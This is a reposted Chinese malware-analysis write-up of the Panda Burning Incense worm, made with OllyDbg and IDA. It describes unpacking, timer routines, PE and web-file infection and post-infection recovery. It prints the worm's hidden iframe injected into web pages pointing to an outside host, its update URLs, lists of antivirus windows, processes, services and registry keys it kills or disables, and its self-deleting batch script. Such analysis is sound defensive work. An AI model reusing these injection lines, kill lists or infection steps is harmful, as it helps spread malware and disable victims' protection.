OD分析-熊猫烧香

转载自看雪论坛-暗夜之刃大神

https://bbs.pediy.com/thread-224773.htm

目录

0x01 分析注意事项-分析工具

0x02 病毒信息

0x03 病毒行为

0x04 脱壳

0x05 病毒初始化分析

0x06 Proc_时钟1 (时钟周期: 6000ms)

0x07 Proc_时钟2 (时钟周期: 1000ms)

0x08 Proc_时钟3 (时钟周期: 120000ms)

0x09 Proc_时钟4 (时钟周期: 10000ms)

0x10 Proc_时钟5 (时钟周期: 6000ms)

0x11 Proc_时钟6 (时钟周期: 10000ms)

0x12 Proc_时钟7 (时钟周期: 180000ms)

0x13 感染线程分析

0x14 具体感染流程分析

0x15 感染后程序的运行

0x01 分析注意事项-分析工具

(1) 这个病毒在xp系统分析比较好, Win7_64位下 “C:\WINDOWS\system32\drivers\” 目录不能运行程序.

<我在这里耽误了很长的时间, 病毒分析要尽量确定病毒运行的环境, 很多病毒是在特定的环境中运行>

(2) 两个很重要的API, 时钟回调 && 线程回调 都需要分析.

SetTimer: 病毒经常用时钟来定时结束指定进程.

CreateThread: 执行其他的代码分支, 感染PE文件的代码就是用线程执行的.

(3) IDA 的签名功能,能够识别很多的函数来进行辅助分析.

分析工具

火绒剑: 敏感行为检测很不错, OD动态调试时用来辅助分析函数功能很好用.

OD, IDA, 010Editor:

BCompare: 十六进制对比感染前与感染后的程序

PE类工具: 查壳 && 编程语言识别.

0x02 病毒信息

(1) 文件大小: 30,001字节

(2) MD5; 512301C535C88255C9A252FDF70B7A03

(3) 壳: FSG v2.0

(4) 编写语言: Delphi

0x03 病毒行为

(1) 写启动项

(2) 关闭服务

(3) 感染PE文件

(4) 访问指定网址, 判断是否需要更新

(5) 释放文件, 并设置文件属性为<隐藏|系统>

(6) 提升进程权限

(7) 遍历窗口名, 向指定窗口名发送QUIT消息, 并结束指定进程

0x04 脱壳

(1) 查壳

1565424979468

(1) 执行到OEP 处, 然后 dump文件.

(2) 修复IAT 表的结尾, 然后在使用 ImpREC 工具修复输入表即可脱壳成功.

1565425003181

0x05 病毒初始化分析

(1) 判断字符串是否被修改

(2) 最重要的3个函数

1565425019778

(3) 判断Desktop_.ini 是否存在

(4) 将自身读入到内存中

(5) 将 "C:\WINDOWS\system32\drivers\spo0lsv.exe" 转为大写后, 和自身路径对比

(6) 如果不在 "C:\WINDOWS\system32\drivers\spo0lsv.exe" 处运行, 则将自身复制到 "C:\WINDOWS\system32\drivers\spo0lsv.exe"

运行 "C:\WINDOWS\system32\drivers\spo0lsv.exe", 并结束自身

0x06 Proc_时钟1 (时钟周期: 6000ms)

(1) 判断是否需要释放文件

(2) 遍历磁盘, 将自身复制到 盘符:\setup.exe

(3) 遍历磁盘, 创建 盘符:\autorun.inf 文件

(4)设置setup.exe 文件属性为, <系统,隐藏>

(5)设置autorun.inf 文件属性为, <系统,隐藏>

(6) 写配置项

0x07 Proc_时钟2 (时钟周期: 1000ms)

(1) 提升进程权限

(2) 遍历窗口名, 向指定窗口名发送QUIT消息, 并结束指定进程

1565425727596

查找的窗口列表:

防火墙,进程,VirusScan,NOD32,网镖,杀毒,毒霸,瑞星,江民,超级兔子,优化大师,木马清道夫,木馬清道夫,卡巴斯基反病毒

Symantec AntiVirus,Duba,esteem procs,绿鹰PC,密码防盗,噬菌体,木马辅助查找器,System Safety Monitor,Wrapped giftKiller

Winsock Expert,游戏木马检测大师,超级巡警,msctls_statusbar32,pjf(ustc),IceSword,

结束的进程列表:

Mcshield.exe,VsTskMgr.exe,naPrdMgr.exe,UpdaterUI.ex,TBMon.exe,scan32.exe,Ravmond.exe,CCenterexe,RavTask.exe,Rav.exe,

Ravmon.exe,RavmonD.exe,RavStub.exe,KVXP.kxp,KvMonXP.kxp,KVCenter.kxp,KVSrvXP.exe,KRegEx.exe,UIHost.exe,TrojDiekxp,

FrogAgent.exe,Logo1_.exe,Logo_1.exe,Rundl132.exe,regedit.exe,msconfig.exe,taskmgr.exe

(3) 写启动项

(4) 设置隐藏的文件和文件夹,不可见

0x08 Proc_时钟3 (时钟周期: 120000ms)

(1) 通过 “http://www.ac86.cn/66/up.txt” 这个地址来更新, 网址已经失效了

1565425766677

0x09 Proc_时钟4 (时钟周期: 10000ms)

(1) 遍历磁盘, 关闭共享

(2) 关闭admin的共享

(3) 杀死当前时钟

0x10 Proc_时钟5 (时钟周期: 6000ms)

(1) 将杀毒软件的注册表启动项设置为失效, 设置值为2, 被针对的杀毒软件注册表启动项列表如下:

"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"

"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"

"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"

"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"

"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"

"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkAssociates Error Reporting Service"

"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"

(2) 使用两种方式停止服务程序, 被停止的列表如下:

"sharedaccess","RsCCenter","RsRavMon","KVWSC" ,"KVSrvXP","kavsvc","AVP"

"McAfeeFramework","McShield","McTaskManager","navapsvc","wscsvc","KPfwSvc"

"KPfwSvc","ccProxy","ccProxy","ccProxy","SPBBCSvc","Symantec Core LC"

"NPFMntor","NPFMntor","FireSvc"

0x11 Proc_时钟6 (时钟周期: 10000ms)

() 会获取这些网站的网页源码:

"http://www.tom.com"

"http://www.163.com"

"http://www.sohu.com"

"http://www.yahoo.com"

"http://www.google.com"

0x12 Proc_时钟7 (时钟周期: 180000ms)

(1) 通过 “http://update.whboy.net/worm.txt” 这个地址来更新, 网址已经失效了

0x13 感染线程分析

(1) 感染线程回调函数

(2) 获取所有磁盘名

(3) 遍历磁盘_感染目标

(4) 感染的文件类型为: "EXE", "SRC", "PIF", "COM"

(5) 在网页文件 "html", "asp", "php", "jsp", "aspx" 的尾部加上 <iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>.

0x14 具体感染流程分析

(1) 读入目标文件

(2) 从将要感染程序中查找 "WhBoy", 找到则说明已经被感染了

(3) 设置目标文件属性为 “NORMAL”

(4) 将自身复制为目标文件

(5) 将目标程序追加到病毒后面

(6) 感染后的标志为 “WhBoy” + 被感染程序名 + “.exe”

0x15 感染后程序的运行

(1) <感染后程序> 的结构,

(2) 判断是否被感染, 感染则跳转

(3) 创建 自身进程名 + “.exe”文件

(4) 从自身中提取 <源程序> 并写到 “BeInfected.exe.exe”

(5) 在 Temp目录 写批处理 并 运行批处理

批处理内容:

//循环删除自身, 直至删除成功
:try1

del "C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe"

if exist "C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe" goto try1

//将 BeInfected.exe.exe 修改为 BeInfected.exe, 并运行 BeInfected.exe.

ren "C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe.exe" "BeInfected.exe"

if exist "C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe.exe" goto try2

"C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe"

:try2

del %0

执行生成的批处理

(6) <感染后程序> 就被还原成 <源程序> 了, 并运行 <源程序>.

(1) 有什么错误请大神们指出.

(2) 并感谢15PB老师们的帮助和教导.

猜你喜欢

转载自www.cnblogs.com/ltyandy/p/11332090.html